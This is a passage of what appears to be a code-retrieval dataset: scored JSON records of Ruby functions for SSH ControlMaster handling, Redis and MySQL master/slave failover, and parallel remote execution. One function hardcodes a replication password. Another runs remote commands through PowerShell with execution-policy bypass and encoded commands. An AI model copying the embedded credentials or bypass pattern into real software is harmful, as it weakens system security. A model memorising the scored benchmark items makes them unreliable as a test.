we should not have users\n log_warn \"[ ControlMaster - #{ssh_url} ] - Missing SSH control file #{control_path_file} whereas the following users were supposed to use it: #{existing_users.join(', ')}\"\n existing_users = []\n end\n confirmed_user = yield existing_users, user_id\n user_already_included = existing_users.include?(user_id)\n existing_users_to_update = nil\n if confirmed_user\n existing_users_to_update = existing_users + [user_id] unless user_already_included\n elsif user_already_included\n existing_users_to_update = existing_users - [user_id]\n end\n File.write(control_master_users_file, existing_users_to_update.join(\"\\n\")) if existing_users_to_update\n end\n user_id\n end",
"title": ""
},
{
"docid": "79ca97a0f788ede96c731e101ba4d1e4",
"score": "0.5654612",
"text": "def spawn_new_master sig\n fork do\n @server.close_on_exec = false\n reload_all\n end\n end",
"title": ""
},
{
"docid": "ad63a47494ee95065e10b25e33237748",
"score": "0.5594446",
"text": "def make_master!\n perform_operation do |redis|\n unless master?\n redis.slaveof('no', 'one')\n logger.info(\"#{self} is now master\")\n wakeup\n end\n end\n end",
"title": ""
},
{
"docid": "5f2e0fa1627ffad9e3ecf9bfe6e1191c",
"score": "0.5573518",
"text": "def connect\n close\n @nodes_to_try = @nodes.clone\n\n while connecting?\n node = @nodes_to_try.shift\n config = check_is_master(node)\n\n if is_primary?(config)\n set_primary(node)\n else\n set_auxillary(node, config)\n end\n end\n\n pick_secondary_for_read if @read_secondary\n\n if connected?\n BSON::BSON_CODER.update_max_bson_size(self)\n else\n if @secondary_pools.empty?\n close # close any existing pools and sockets\n raise ConnectionFailure, \"Failed to connect any given host:port\"\n else\n close # close any existing pools and sockets\n raise ConnectionFailure, \"Failed to connect to primary node.\"\n end\n end\n end",
"title": ""
},
{
"docid": "477ea29e0f2eab1c76efa0b54d3ecec8",
"score": "0.5539412",
"text": "def spawn( num, &block )\n if num <= 0\n block.call []\n return\n end\n\n q = ::EM::Queue.new\n\n # Before spawning slaves, expose our API over a UNIX socket via\n # which they should talk to us.\n expose_over_unix_socket do\n num.times do\n token = generate_token\n\n pid = fork {\n # Make sure we start with a clean env (namepsace, opts, etc).\n Framework.reset\n\n # All Instances will be on the same host so use UNIX\n # domain sockets to avoid TCP/IP overhead.\n Options.rpc_address = nil\n Options.rpc_external_address = nil\n Options.rpc_port = nil\n Options.rpc_socket = \"/tmp/arachni-instance-slave-#{Process.pid}\"\n\n Server::Instance.new( Options.instance, token )\n }\n\n Process.detach pid\n @consumed_pids << pid\n\n instance_info = { 'url' => \"/tmp/arachni-instance-slave-#{pid}\",\n 'token' => token }\n\n wait_till_alive( instance_info['url'] ) { q << instance_info }\n end\n end\n\n spawns = []\n num.times do\n q.pop do |r|\n spawns << r\n block.call( spawns ) if spawns.size == num\n end\n end\n end",
"title": ""
},
{
"docid": "7a30bc4cbc06de0512f049f74060e474",
"score": "0.55037326",
"text": "def multi_ssh(hosts, &block)\n result = []\n groups = config.concurrency.nil? ? [hosts] : (hosts.in_groups_of(config.concurrency))\n groups.each do |hosts|\n group_result = multi_connect(hosts).map { |host, conn, error|\n conn[:logger] = logger if conn # ick?\n Thread.new { block.call(host, conn, error) }\n }.map(&:value)\n group_result.each { |gr| result << gr }\n end\n result\n end",
"title": ""
},
{
"docid": "cf07e798ffdf2ee499a4c0cde5a0f812",
"score": "0.5491721",
"text": "def discover_nodes\n @unavailable = []\n nodes = @options[:nodes].map { |opts| Node.new(opts) }.uniq\n @master = find_master(nodes)\n @slaves = nodes - [@master]\n logger.info(\"Managing master (#{@master}) and slaves\" +\n \" (#{@slaves.map(&:to_s).join(', ')})\")\n\n # ensure that slaves are correctly pointing to this master\n redirect_slaves_to(@master) if @master\n end",
"title": ""
},
{
"docid": "64b98986ba8f09829a30825586745aab",
"score": "0.54876024",
"text": "def control_master_pid(vagrant_options = build_options)\n cmd = \"ssh -O check #{ssh_peculiar_options(vagrant_options)} -o ControlPath=#{env.config.ssh.get_control_path} #{vagrant_options[:username]}@#{vagrant_options[:host]}\"\n result = ''\n run(unescape(cmd.strip)) { |process| result = process.stderr(@aruba_keep_ansi) }\n #Success: \"Master running (pid=32123)\\r\\n\"\n #Failure: \"...No such file or directory...\"\n if result[/No such file or directory/,0]\n # We likely have an orphan control master process\n raise ::Vagrant::Errors::SSHControlMasterOrphan, { :control_path => env.config.ssh.get_control_path }\n else\n tmp_pid = result[/\\((\\d+)\\)/,1]\n env.logger.info( \"The SSH master control session pid is: #{tmp_pid}\" )\n tmp_pid\n end\n tmp_pid\n end",
"title": ""
},
{
"docid": "f3143449754f7a9cc48afb9cab03afa2",
"score": "0.5483568",
"text": "def connect!\n info \"connecting to master at #{@api_uri}\"\n headers = {\n 'Kontena-Node-Id' => @node_id.to_s,\n 'Kontena-Node-Name' => @node_name,\n 'Kontena-Version' => Kontena::Agent::VERSION,\n 'Kontena-Node-Labels' => @node_labels.join(','),\n 'Kontena-Connected-At' => Time.now.utc.strftime(STRFTIME),\n }\n\n if @node_token\n headers['Kontena-Node-Token'] = @node_token.to_s\n elsif @grid_token\n headers['Kontena-Grid-Token'] = @grid_token.to_s\n else\n fail \"Missing grid, node token\"\n end\n\n @ws = Kontena::Websocket::Client.new(@api_uri,\n headers: headers,\n ssl_params: @ssl_params,\n ssl_hostname: @ssl_hostname,\n connect_timeout: CONNECT_TIMEOUT,\n open_timeout: OPEN_TIMEOUT,\n ping_interval: PING_INTERVAL,\n ping_timeout: PING_TIMEOUT,\n close_timeout: CLOSE_TIMEOUT,\n )\n\n async.connect_client @ws\n\n publish('websocket:connect', nil)\n\n rescue => exc\n error exc\n reconnect!\n end",
"title": ""
},
{
"docid": "b1d246b4de924f10b5a7309b53c3fde2",
"score": "0.5482177",
"text": "def build_clients\n @lock.synchronize do\n begin\n nodes = fetch_nodes\n return unless nodes_changed?(nodes)\n\n purge_clients\n logger.info(\"Building new clients for nodes #{nodes.inspect}\")\n new_master = new_clients_for(nodes[:master]).first if nodes[:master]\n new_slaves = new_clients_for(*nodes[:slaves])\n @master = new_master\n @slaves = new_slaves\n rescue\n purge_clients\n raise\n ensure\n if should_notify?\n @on_node_change.call(current_master, current_slaves)\n @last_notified_master = current_master\n @last_notified_slaves = current_slaves\n end\n end\n end\n end",
"title": ""
},
{
"docid": "39b0c8a389077f8f3e73ab0517052757",
"score": "0.54552996",
"text": "def preconnect(concurrent = false)\n conn_servers = sync{@servers.keys}.map!{|s| Array.new(max_size - _size(s), s)}.flatten!\n\n if concurrent\n conn_servers.map!{|s| Thread.new{[s, make_new(s)]}}.map!(&:value)\n else\n conn_servers.map!{|s| [s, make_new(s)]}\n end\n\n sync{conn_servers.each{|s, conn| checkin_connection(s, conn)}}\n end",
"title": ""
},
{
"docid": "8ed9f3692d5ecaf5e25d48bdbb02428d",
"score": "0.5453901",
"text": "def run_cmds_on_hosts\n @@hosts.each do |host|\n @@cmds.each do |cmd|\n puts \"-> Connecting to #{host}...\"\n run_task(host, @@username, @@password, cmd)\n end\n end\n end",
"title": ""
},
{
"docid": "69f57692d713e2d5c7e113ae527439c6",
"score": "0.54444605",
"text": "def use_master_connection\n if block_given?\n set_read_only_connection_type(:master){yield}\n else\n Thread.current[:read_only_connection] = :master\n end\n end",
"title": ""
},
{
"docid": "b9fe0937284e6490bb9e785bf164c195",
"score": "0.5425045",
"text": "def evaluate!\n @servers ||= Array(callback[options]).map do |server|\n case server\n when String then Net::SSH::Multi::Server.new(master, server, options)\n else server\n end\n end\n end",
"title": ""
},
{
"docid": "d148dcfb5da5dab88d9ca807f7e15aea",
"score": "0.54122627",
"text": "def switch_master_to(master, slaves)\n\n slaves = Array(slaves)\n \n # Step 1. Make sure all slaves have completely processed their\n # Relay Log.\n slaves.each do |s|\n puts \"Draining relay log for slave instance #{s}\"\n drain_relay_log(s) if is_slave?(s)\n end\n \n # Step 2. For the slave being promoted to master, issue STOP SLAVE\n # and RESET MASTER.\n client = Client.open(master)\n client.query(\"STOP SLAVE\")\n client.query(\"RESET MASTER\")\n client.close\n\n # Step 3. Change the master for the other slaves (and the former master?)\n # XXX this is not complete -- what about the coordinates?\n master_server = Servers.instance_to_server(master)\n master_host = 'localhost' # should be master_server[:hostname]\n master_user = 'repl'\n master_password = 'har526'\n master_port = master_server[:port]\n slaves.each do |s|\n client = Client.open(s)\n cmd = <<-EOT\n CHANGE MASTER TO\n MASTER_HOST=\\'#{master_host}\\',\n MASTER_PORT=#{master_port},\n MASTER_USER=\\'#{master_user}\\',\n MASTER_PASSWORD=\\'#{master_password}\\'\n EOT\n client.query(cmd)\n client.query(\"START SLAVE\")\n client.close\n end\n end",
"title": ""
},
{
"docid": "2fc4485c5f165315cf3b49af3b85b15c",
"score": "0.5409447",
"text": "def open_tcp_sockets()\n logger.debug \"open_tcp_sockets:start: graphite host list = #{@graphite_hosts}\"\n\n if (@graphite_hosts.length > 0)\n\n @tcp_sockets = Array.new\n graphite_hosts.each do |graphite_host|\n begin\n graphite_server = graphite_host.split(':')[0]\n port = graphite_host.split(':')[1]\n tcp_socket = TCPSocket.new(graphite_server, port)\n @tcp_sockets.insert(-1, tcp_socket)\n rescue Exception => e\n logger.error \"open_tcp_sockets:exception: graphite host = #{graphite_host} #{e}\"\n end\n end\n\n end\n\n logger.debug 'open_tcp_sockets:end: Completed'\n\n end",
"title": ""
},
{
"docid": "daa1f274b84a761e04f68bf2577cbce9",
"score": "0.5393061",
"text": "def start\n primary, *secondaries = servers.shuffle\n primary.promote!\n secondaries.each(&:demote!)\n servers.each(&:start)\n Thread.start do\n Thread.abort_on_exception = true\n catch(:shutdown) do\n loop do\n server, client = manager.next_pair\n if server\n server.proxy(client, proxied_mongod)\n else\n Thread.pass\n end\n end\n end\n end\n self\n end",
"title": ""
},
{
"docid": "e7e259167fe6978e4266488318a9f8ab",
"score": "0.5378216",
"text": "def enslave_siblings!(targets)\n raise \"Can only call enslave_siblings! on a slave instance\" unless master\n disable_monitoring\n targets.each {|t| t.disable_monitoring}\n pause_replication unless @repl_paused\n\n change_master_options = {\n user: replication_credentials[:user],\n password: replication_credentials[:pass],\n }\n if pool(true).gtid_mode?\n change_master_options[:auto_position] = true\n gtid_executed_from_pool_master_string(true) # display gtid executed value\n else\n change_master_options[:log_file], change_master_options[:log_pos] = repl_binlog_coordinates\n end\n\n clone_to!(targets)\n targets.each do |t|\n t.change_master_to(master, change_master_options)\n t.enable_read_only!\n end\n [ self, targets ].flatten.each(&:resume_replication) # should already have happened from the clone_to! restart anyway, but just to be explicit\n [ self, targets ].flatten.concurrent_each{|n| n.catch_up_to_master 21600 }\n [ self, targets ].flatten.each(&:enable_monitoring)\n end",
"title": ""
},
{
"docid": "f626708b64d1778ed6f354dc22f5570b",
"score": "0.53519833",
"text": "def start_peers()\n logger.info \"[Starting Peers...]\"\n threads = ThreadPool.new(peers.size)\n \n # Start all the peers redirecting their output to a log file\n peers.each do |peer|\n threads.execute {\n vip2p_start_command = \"java -Xms#{config['Xms']}m -Xmx#{config['Xmx']}m #{config['acceptDebugConnection']==\"yes\" ? \"-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=#{peer.port + 200}\" : \"\" } -cp #{@classpath}#{@jar_mode? \":\" + @jar_file : \"\"} fr.inria.gemo.vip2p.node.controler.ControlModule STARTUP #{peers[0].hostname} #{peers[0].port} #{peers[0].rmi_port} #{peer.hostname} #{peer.port} #{peer.rmi_port} .\"\n command = ssh(peer.hostname) + \"\\'. ~/.profile 2>/dev/null;cd #{@remote_root}; #{vip2p_start_command} \\'\"\n logger.debug(\"Executing: #{command}\")\n execute(command,true)\n }\n end\n\n threads.join()\n threads.close()\n \n end",
"title": ""
},
{
"docid": "952ac80b823e75c6bc1f741f8162a7da",
"score": "0.5320203",
"text": "def new_clients_for(*nodes)\n nodes.map do |node|\n host, port = node.split(':')\n opts = {:host => host, :port => port}\n opts.update(:db => @db) if @db\n opts.update(:password => @password) if @password\n client = Redis.new(@redis_client_options.merge(opts))\n if @namespace\n client = Redis::Namespace.new(@namespace, :redis => client)\n end\n @node_addresses[client] = node\n client\n end\n end",
"title": ""
},
{
"docid": "3b03c62f0000a7a54d9d5a486ec35aab",
"score": "0.5313346",
"text": "def use_master_connection\n save_val = @use_master\n begin\n @use_master = true\n yield if block_given?\n ensure\n @use_master = save_val\n end\n end",
"title": ""
},
{
"docid": "ff4bda99200492e96bc042b12942abbe",
"score": "0.5310466",
"text": "def start_server(config, server_ctrl)\n pid = Process.fork do\n cmd = \"hop_hop server --identifier #{config.control.identifier}\"\n # puts \"starting #{cmd}\"\n $0 = cmd\n HopHop::ConsumerServer.start(config)\n end\n\n Process.detach(pid) # so we leave no zombies behind\n HopHop::Helper.wait_unless(config.control.wait_spinup){!server_ctrl.alive?} # now wait for it to spin up\n raise \"Could not spin up the fork server\" unless server_ctrl.alive?\n end",
"title": ""
},
{
"docid": "9f1bb6abb1ec4872a7de7dc5c603fcac",
"score": "0.5250523",
"text": "def launch_and_configure_master!(testing=false)\n vputs \"Requesting to launch new instance\"\n dputs \"Launching master\"\n request_launch_master_instance if list_of_pending_instances.size.zero? && can_start_a_new_instance? && !is_master_running? && !testing\n reset!\n unless testing\n vputs \"\"\n vputs \"Waiting for there to be no pending instances...\"\n when_no_pending_instances do\n when_all_assigned_ips {wait \"20.seconds\"}\n vputs \"\"\n vputs \"Provisioning master...\"\n # cleanup_storage_directory\n @provisioner = PoolParty::Provisioner::Capistrano.new(master, self, :ubuntu)\n verbose ? @provisioner.install(testing) : hide_output { @provisioner.install(testing) }\n \n after_launched\n end\n end\n end",
"title": ""
},
{
"docid": "5dbb33609080e590a2876e91430ca0cf",
"score": "0.5245694",
"text": "def connect!\n @clients = servers.collect { |server|\n Client.new(server)\n }.compact\n end",
"title": ""
},
{
"docid": "9928750290a1e439cd4c17f397965168",
"score": "0.5217694",
"text": "def init_clones\n @clones = (@config[:clones] || @config[:slaves]).map{Mysql.init}\n end",
"title": ""
},
{
"docid": "d57eda2019f1a015183f50e424231b12",
"score": "0.5212522",
"text": "def start(options = {})\n initial_setup(options) #need this for logger\n logger.info \"*** Starting Master Process***\"\n $0 = 'Fork Worker Master'\n logger.info \"* Adding the first round of workers *\"\n maintain_worker_count\n QUEUE_SIGS.each { |sig| trap_deferred(sig) }\n trap(:CHLD) { |sig_nr| awaken_master }\n logger.info \"** Signal Traps Ready **\"\n logger.info \"** master process ready **\"\n begin\n error_count = 0\n continue = true\n while continue do\n logger.debug \"Master Process Awake\" \n reap_all_workers\n continue = handle_signal_queue\n error_count = 0\n end\n rescue Errno::EINTR\n retry\n rescue Object => e\n logger.error \"Unhandled master loop exception #{e.inspect}. (#{error_count})\"\n logger.error e.backtrace.join(\"\\n\")\n error_count += 1\n sleep 10 and retry unless error_count > 10\n logger.fatal \"10 consecutive errors! Abandoning Master process\"\n end\n stop # gracefully shutdown all workers on our way out\n logger.warn \"-=-=-=- master process Exiting -=-=-=-\\n\\n\"\n end",
"title": ""
},
{
"docid": "f005157b3cd01e06e80f6e70a969d223",
"score": "0.51849276",
"text": "def in_parallel(max_concurrency = 100)\n con.in_parallel(manager(max_concurrency)) do\n yield\n end\n end",
"title": ""
},
{
"docid": "fedfada2667922fd351bf8f5bb3e6f2e",
"score": "0.5178081",
"text": "def make_master!\n raise ClusterActionFailed, \"Can not change master\" unless master?\n true\n end",
"title": ""
},
{
"docid": "8a7645dc8d9f6cac0e9a0f4a63b1d721",
"score": "0.5161214",
"text": "def initialize(sentinels:[], master_name:'mymaster', db:0, password:nil)\n @master_name = master_name\n @sentinels = _parse_sentinel_options(sentinels)\n #p @sentinels\n raise \"Need at least 1 sentinel\" if @sentinels.nil? || @sentinels.count < 1\n @sentinels.uniq! {|h| h.values_at(:host, :port) }\n @sentinels.shuffle! #try to randomize\n\n init_sentinel_client\n\n super(nil, nil, password, db)\n init_master_client\n\n #waits for connect to do anything\n end",
"title": ""
},
{
"docid": "d7ebb927c184f51e022b94d0fd04e3af",
"score": "0.5156341",
"text": "def slave\n unless @slave_connections.empty?\n cycle @slave_connections\n else\n master\n end\n end",
"title": ""
},
{
"docid": "e6ced4a247f81ab8ada6d0c2bec15391",
"score": "0.51524705",
"text": "def setup\n threads = []\n @hosts.each do |name, machine|\n if machine.alive? # no need to thread if the machine is off-line\n threads << Thread.new(machine) do |host_machine|\n host_machine.session do |host|\n startup(host)\n end\n end\n end\n end\n threads.each {|thrd| thrd.join}\n sleep 1 # give the drb servers a little time to get running\n end",
"title": ""
},
{
"docid": "47e1678a3bd53d36563134886dd5e56f",
"score": "0.5151732",
"text": "def start &block\n if @master\n @agent.listen(@port) { |err|\n if err\n block_given? and yield err\n return\n end\n\n @agent.on('register') { |*args| emit 'register', *args }\n @agent.on('disconnect') { |*args| emit 'disconnect', *args }\n @agent.on('reconnect') { |*args| emit 'reconnect', *args }\n\n EM.next_tick {\n block_given? and yield\n }\n }\n else\n @agent.connect @port, @host, &block\n end\n @console_modules.each { |module_id, console_module|\n enable_module module_id\n }\n end",
"title": ""
},
{
"docid": "b19f9e856e6dd8d293eb08ce204e78ac",
"score": "0.51260483",
"text": "def start\n puts \"=== starting Ruby ROS master @#{@master_uri} ===\"\n @parameters.push(Parameter.new('/rosversion', '1.8.6'))\n @parameters.push(Parameter.new('/rosdistro', 'fuerte'))\n @thread = Thread.new do\n while true\n procs = []\n # lock here\n proc_obj = @queue.pop\n procs.push(proc_obj)\n while not @queue.empty?\n proc_obj = @queue.pop\n procs.push(proc_obj)\n end\n # wait until server returns xmlrpc response...\n sleep 0.2\n begin\n procs.each {|x| x.call}\n rescue => e\n p 'error!'\n p e.faultString\n end\n end\n end\n @server.serve\n self\n end",
"title": ""
},
{
"docid": "000f04f538f309e8a390315e48780c78",
"score": "0.5125967",
"text": "def ssh(*args, &block)\n Net::SSH.start(*args, &block)\n end",
"title": ""
},
{
"docid": "3507fe5cd7318bd810bf99e9b12b834a",
"score": "0.51248527",
"text": "def connect\n close\n\n config = check_is_master(@host_to_try)\n if config\n if config['ismaster'] == 1 || config['ismaster'] == true\n @read_primary = true\n elsif @slave_ok\n @read_primary = false\n end\n\n @max_bson_size = config['maxBsonObjectSize'] || Mongo::DEFAULT_MAX_BSON_SIZE\n set_primary(@host_to_try)\n end\n\n if !connected?\n raise ConnectionFailure, \"Failed to connect to a master node at #{@host_to_try[0]}:#{@host_to_try[1]}\"\n end\n end",
"title": ""
},
{
"docid": "971d7b9309e6719e21a3d05ee01a94ee",
"score": "0.512475",
"text": "def initialize(master, server_list)\n @master = master\n @servers = server_list.uniq\n end",
"title": ""
},
{
"docid": "2f23f090da1f91b01d2e2fa089bb15c3",
"score": "0.5121132",
"text": "def open_connections\n start_ipv4_socket\n start_ipv6_socket\n end",
"title": ""
},
{
"docid": "c0ebaf5b9a090cdedff82df0e4a976b7",
"score": "0.51096773",
"text": "def connect_clients\n loop do\n puts \"Clients: #{@clients.size} | Bots: #{current_bot_count} / #{@min_size}\"\n break if current_bot_count == @min_size\n client = @server.accept\n @clients << client\n supervisor_id = accept_handshake(client)\n Thread.new do\n listen_responses(client, supervisor_id)\n end\n break if current_bot_count == @min_size\n sleep 0.0001\n end\n end",
"title": ""
},
{
"docid": "01eb470d58cf2678693ea971ca957030",
"score": "0.5098554",
"text": "def execute_on_hosts(script, hosts)\n hosts.each do |host|\n @threads.push(Thread.new{\n command = \"ssh #{ssh_options} #{host} \\\"bash -ls\\\" <<SCRIPT\\n#{script}\\nSCRIPT\"\n puts \"SSHing to #{host}:\\n\" + `#{command}`\n })\n end\n @threads.each{ |t| t.join }\n return hosts\n end",
"title": ""
},
{
"docid": "2b6bbd08551146aed3e304748e509bf8",
"score": "0.5084226",
"text": "def with_master\n with(self.master_connection, :master) { yield }\n end",
"title": ""
},
{
"docid": "541378069bef7e899f205c01a5a6045e",
"score": "0.50767446",
"text": "def probe_master\n return unless @running # leaves @master as nil to indicate unknown state\n status = slave_status\n if !status || status.count < 1\n @master = false\n else\n @master = self.class.new(status[:master_host], status[:master_port])\n if status[:slave_io_running] != status[:slave_sql_running]\n output \"One replication thread is stopped and the other is not.\"\n if Jetpants.verify_replication\n output \"You must repair this node manually, OR remove it from its pool permanently if it is unrecoverable.\"\n raise \"Fatal replication problem on #{self}\"\n end\n pause_replication\n else\n @repl_paused = (status[:slave_io_running].downcase == 'no')\n end\n end\n end",
"title": ""
},
{
"docid": "4bb6f93701fd18b92b844a17f79e0139",
"score": "0.5065099",
"text": "def start_master_process_thread\n # This thread is stopped in the children.\n #\n Thread.new do\n loop do\n # Wait for input from the child.\n #\n IO.select([child], nil, nil, 2) or next\n \n # Get the message from the child.\n #\n result = child.gets ';;;'\n \n # Evaluate and split what the child sent.\n #\n child_pid, args = eval result\n \n # It needs to be an array of params.\n #\n next unless Array === args # TODO Rewrite to to_ary?\n \n # Execute the block with the given parameters.\n #\n execute_block_with args\n \n # Kill off all the workers with the old parameters.\n #\n kill_each_worker_except child_pid\n \n # TODO rescue on error.\n \n end\n end\n end",
"title": ""
},
{
"docid": "dfa9bd1ab05c1d532c904e137b968ad1",
"score": "0.5064859",
"text": "def start_master_process_thread\n # This thread is implicitly stopped in the children.\n #\n Thread.new do\n loop do\n # Wait for input from the child.\n #\n IO.select([@child], nil) or next\n\n # Get the result and decide what to do.\n #\n # Note: Currently we do exactly one thing.\n #\n\n # Get all data up and including ;;;.\n #\n result = @child.gets ';;;'\n\n # Get the child's PID and the message.\n #\n pid, message = eval result\n case message\n when 'reindex' # TODO This is currently hardcoded, but needs to be dynamic.\n STDOUT.puts \"Trying to run work in MASTER.\"\n\n # Try work in the master.\n #\n try_run\n\n # Kill all kids except the one we already successfully reindexed.\n #\n # If we do not try in child, kill all.\n #\n kill_each_worker_except @try_in_child ? pid : 'nonexistent pid'\n\n # Wait until they are restarted.\n #\n # Note: Yes I know, a sleep statement.\n # The issue is that the indexing process including\n # clearing the indexes is done before the children\n # respawn if we don't wait here. In some cases,\n # the children respawn only just after the indexes\n # have been cleared, resulting in empty indexes in\n # the children!\n #\n sleep 1\n end\n\n # Fails hard on an error.\n #\n end\n end\n end",
"title": ""
},
{
"docid": "85867892d324a3b0116f5f8d9c0a95be",
"score": "0.5064125",
"text": "def exec(*command)\n config.store.open do\n multi_session(target_hosts) { |session, host| session.send(*command) }\n end\n end",
"title": ""
},
{
"docid": "4fbf640616d2243936d96ec0e33a2354",
"score": "0.5061443",
"text": "def multi(&block)\n if block_given?\n deprecation_displayed = false\n if block&.arity == 0\n Pipeline.deprecation_warning(\"multi\", Kernel.caller_locations(1, 5))\n deprecation_displayed = true\n end\n\n synchronize do |prior_client|\n begin\n pipeline = Pipeline::Multi.new(prior_client)\n @client = deprecation_displayed ? pipeline : DeprecatedMulti.new(pipeline)\n pipelined_connection = PipelinedConnection.new(pipeline)\n yield pipelined_connection\n prior_client.call_pipeline(pipeline)\n ensure\n @client = prior_client\n end\n end\n else\n send_command([:multi])\n end\n end",
"title": ""
},
{
"docid": "2e19f13ebebbb2dc945a3c4c3ec4399e",
"score": "0.5057421",
"text": "def do_change_master(master, slave, coordinates)\n master_server = Servers.instance_to_server(master)\n begin\n slave_connection = Client.open(slave)\n if slave_connection\n \n # Replication on the slave can't be running if we want to execute\n # CHANGE MASTER TO. \n slave_connection.query(\"STOP SLAVE\") rescue Mysql2::Error\n \n raise \"master_server is nil\" unless master_server\n \n cmd = <<-EOT\nCHANGE MASTER TO\n MASTER_HOST = \\'#{master_server[:hostname]}\\',\n MASTER_PORT = #{master_server[:port]},\n MASTER_USER = \\'#{REPLICATION_USER}\\',\n MASTER_PASSWORD = \\'#{REPLICATION_PASSWORD}\\',\n MASTER_LOG_FILE = \\'#{coordinates[:file]}\\',\n MASTER_LOG_POS = #{coordinates[:position]}\nEOT\n puts \"Executing: #{cmd}\"\n slave_connection.query(cmd)\n else\n puts \"do_change_master: Could not connnect to MySQL server.\"\n end\n rescue Mysql2::Error => e\n puts e.message\n ensure\n slave_connection.close if slave_connection\n end\n \n end",
"title": ""
},
{
"docid": "f7ec567255dadeb867e1a0b186746fb9",
"score": "0.5044875",
"text": "def with_master\n with(master_connection) { yield }\n end",
"title": ""
},
{
"docid": "7002af8b8d9bb3c841f1f5ad85ea1f2c",
"score": "0.5042803",
"text": "def open_ssh(id=@connection.servers.first)\n command = ssh_cli_string(id)\n exec(command)\n end",
"title": ""
},
{
"docid": "54651ef111e07a7c99643965f24ae856",
"score": "0.5041468",
"text": "def ssh(*args)\n @@rmach.switch_user :root\n @@rmach.connect(*args)\n @@rmach.switch_user # back to previous user\n nil\n end",
"title": ""
},
{
"docid": "1d934d9c96add2c57eb614a2292cc26d",
"score": "0.5025926",
"text": "def initialize(options = {})\n Util.logger = options[:logger] if options[:logger]\n @master = nil\n @slaves = []\n @node_addresses = {}\n @lock = Monitor.new\n @current_client_key = \"current-client-#{self.object_id}\"\n yield self if block_given?\n\n parse_options(options)\n setup_zk\n build_clients\n end",
"title": ""
},
{
"docid": "6aa2c8ccec8b2491aa1ef9cea8c050da",
"score": "0.5022947",
"text": "def start_remote_resources(controller, hostname)\n save_node_action(\"starting services at remote node #{hostname}\")\n out = controller.run_ssh_cmd(\n \"crm --wait node ready remote-#{hostname}\",\n \"60s\"\n )\n unless out[:exit_code].zero?\n raise_node_upgrade_error(\n \"Starting remote services at '#{hostname}' node has failed. \" \\\n \"Check /var/log/pacemaker.log at '#{controller.name}' and \" \\\n \"'#{hostname}' nodes for possible causes.\"\n )\n end\n seconds = timeouts[:wait_until_compute_started]\n begin\n Timeout.timeout(seconds) do\n loop do\n out = controller.run_ssh_cmd(\n \"source /root/.openrc; \" \\\n \"openstack --insecure compute service list \" \\\n \"--host #{hostname} --service nova-compute -f value -c State\"\n )\n break if !out[:stdout].nil? && out[:stdout].chomp == \"up\"\n sleep 1\n end\n end\n rescue Timeout::Error\n raise_node_upgrade_error(\n \"Service 'nova-compute' at '#{hostname}' node did not start \" \\\n \"after #{seconds} seconds. \" \\\n \"Check /var/log/pacemaker.log at '#{controller.name}' and \" \\\n \"'#{hostname}' nodes for possible causes.\"\n )\n end\n end",
"title": ""
},
{
"docid": "a5e49dfb92967248e7abeddd3c7c72e4",
"score": "0.5020692",
"text": "def connectionService(servers,open=0)\r\n\tNSERVERS.times do |i|\r\n\t\tif(open)\r\n\t\t\t#Se o metodo recebeu a solicitacao de abrir o server, \r\n\t\t\t#ou seja open=1\r\n\t\t\t#Abre a conexao com todos os servidores que estao listados no vetor de servers.\r\n\t\t\tbegin\r\n\t\t\t\t@log.write(\"Abrindo conexao com o servidor #{servers[i].name}\")\r\n\t\t\t\tservers[i].socket=TCPSocket.open(servers[i].name,servers[i].port)\r\n\t\t\t\t@log.write(\"Conexao aberta com sucesso\")\r\n\t\t\trescue Exception => e\r\n\t\t\t\t@log.write(\"Ocorreu um erro ao abrir o servidor #{servers[i].name}\",\"error\")\r\n\t\t\t\t@log.write(\"Erro: #{e.to_s}\",\"error\")\r\n\t\t\t\t@log.write(\"Terminando a execucao do programa para evitar incosistencia de dados\",\"error\")\r\n\t\t\t\texit\r\n\t\t\tend\r\n\r\n\t\telse\r\n\t\t @log.write(\"Fechando a comunicacao com o servidor: #{servers[i].name}\")\r\n\t\t # Se open for diferente de 1, fecha as conexões com os servers listados no vetor.\r\n\t\t servers[i].socket.close\r\n\t\tend \r\n\tend\r\nend",
"title": ""
},
{
"docid": "2408d0cbbbf45640947ee4d8c5642d89",
"score": "0.50202894",
"text": "def connect(**opts)\n connection = nil\n super { |c| connection = c }\n\n if !connection.instance_variable_get(:@winssh_patched)\n open_chan = connection.method(:open_channel)\n connection.define_singleton_method(:open_channel) do |*args, &chan_block|\n open_chan.call(*args) do |ch|\n exec = ch.method(:exec)\n ch.define_singleton_method(:exec) do |command, &block|\n command = Base64.strict_encode64(command.encode(\"UTF-16LE\", \"UTF-8\"))\n command = \"powershell -NoLogo -NonInteractive -ExecutionPolicy Bypass \" \\\n \"-NoProfile -EncodedCommand #{command}\"\n exec.call(command, &block)\n end\n chan_block.call(ch)\n end\n end\n connection.instance_variable_set(:@winssh_patched, true)\n end\n\n if block_given?\n yield connection\n else\n connection\n end\n end",
"title": ""
},
{
"docid": "d2effb0299ab53cb1d5276de3cc81161",
"score": "0.50197583",
"text": "def create_pool1(vagrant_dirname, clientlist, validatorlist)\n dirname = File.join(\"#{vagrant_dirname}\", \"pool1\")\n unless File.directory?(dirname)\n FileUtils.mkdir_p(dirname)\n end\n File.open(File.join(\"#{dirname}\", \"clients\"), 'w') do |clients_file|\n clients_file.write(\"[\")\n clientlist.each_with_index do |value, index|\n if index > 0\n clients_file.write(\",\")\n end\n clients_file.write(\"\\\"cli#{index + 1}\\\"\")\n end\n clients_file.write(\"]\")\n end\n File.open(File.join(\"#{dirname}\", \"ssh_config\"), 'w') do |ssh_config_file|\n clientlist.each_with_index do |ip, index|\n ssh_config_file.write(\"Host cli#{index + 1}\\n\")\n ssh_config_file.write(\" User <USERNAME>\\n\")\n ssh_config_file.write(\" Hostname #{ip}\\n\")\n ssh_config_file.write(\" IdentityFile /home/<USERNAME>/.ssh/id_rsa\\n\")\n end\n validatorlist.each_with_index do |ip, index|\n ssh_config_file.write(\"Host validator#{index + 1}\\n\")\n ssh_config_file.write(\" User <USERNAME>\\n\")\n ssh_config_file.write(\" Hostname #{ip}\\n\")\n ssh_config_file.write(\" IdentityFile /home/<USERNAME>/.ssh/id_rsa\\n\")\n end\n end\nend",
"title": ""
},
{
"docid": "906ffa43856c694f41e51c74fbce5b28",
"score": "0.5015777",
"text": "def start_control(host = T.unsafe(nil), port = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "906ffa43856c694f41e51c74fbce5b28",
"score": "0.5015777",
"text": "def start_control(host = T.unsafe(nil), port = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "cc01289cb54cbca8941c837fb1e80008",
